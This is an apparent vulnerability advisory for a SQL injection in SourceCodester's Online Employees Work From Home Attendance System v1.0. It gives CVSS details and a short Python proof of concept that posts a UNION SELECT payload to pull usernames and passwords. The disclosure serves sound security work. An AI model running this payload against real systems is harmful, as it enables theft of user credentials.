SourceCodester Online Employees Work From Home Attendance System v1.0 is vulnerable to SQL Injection in the file /wfh_attendance/admin/manage_employee.php.
CVSS Details
CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
SourceCodester Online Employees Work From Home Attendance System v1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL configuration
url = "http://target.com/wfh_attendance/admin/manage_employee.php"
# SQL Injection Payload (Example: checking for time-based blind or union based)
# Note: The actual parameter name needs to be confirmed via source code or proxy analysis.
payload = {
"id": "1' UNION SELECT NULL, username, password, NULL, NULL FROM users-- -"
}
# Send POST request with the payload
response = requests.post(url, data=payload)
if response.status_code == 200:
print("[+] Request sent. Analyze response for potential data extraction.")
else:
print("[-] Failed to connect to target.")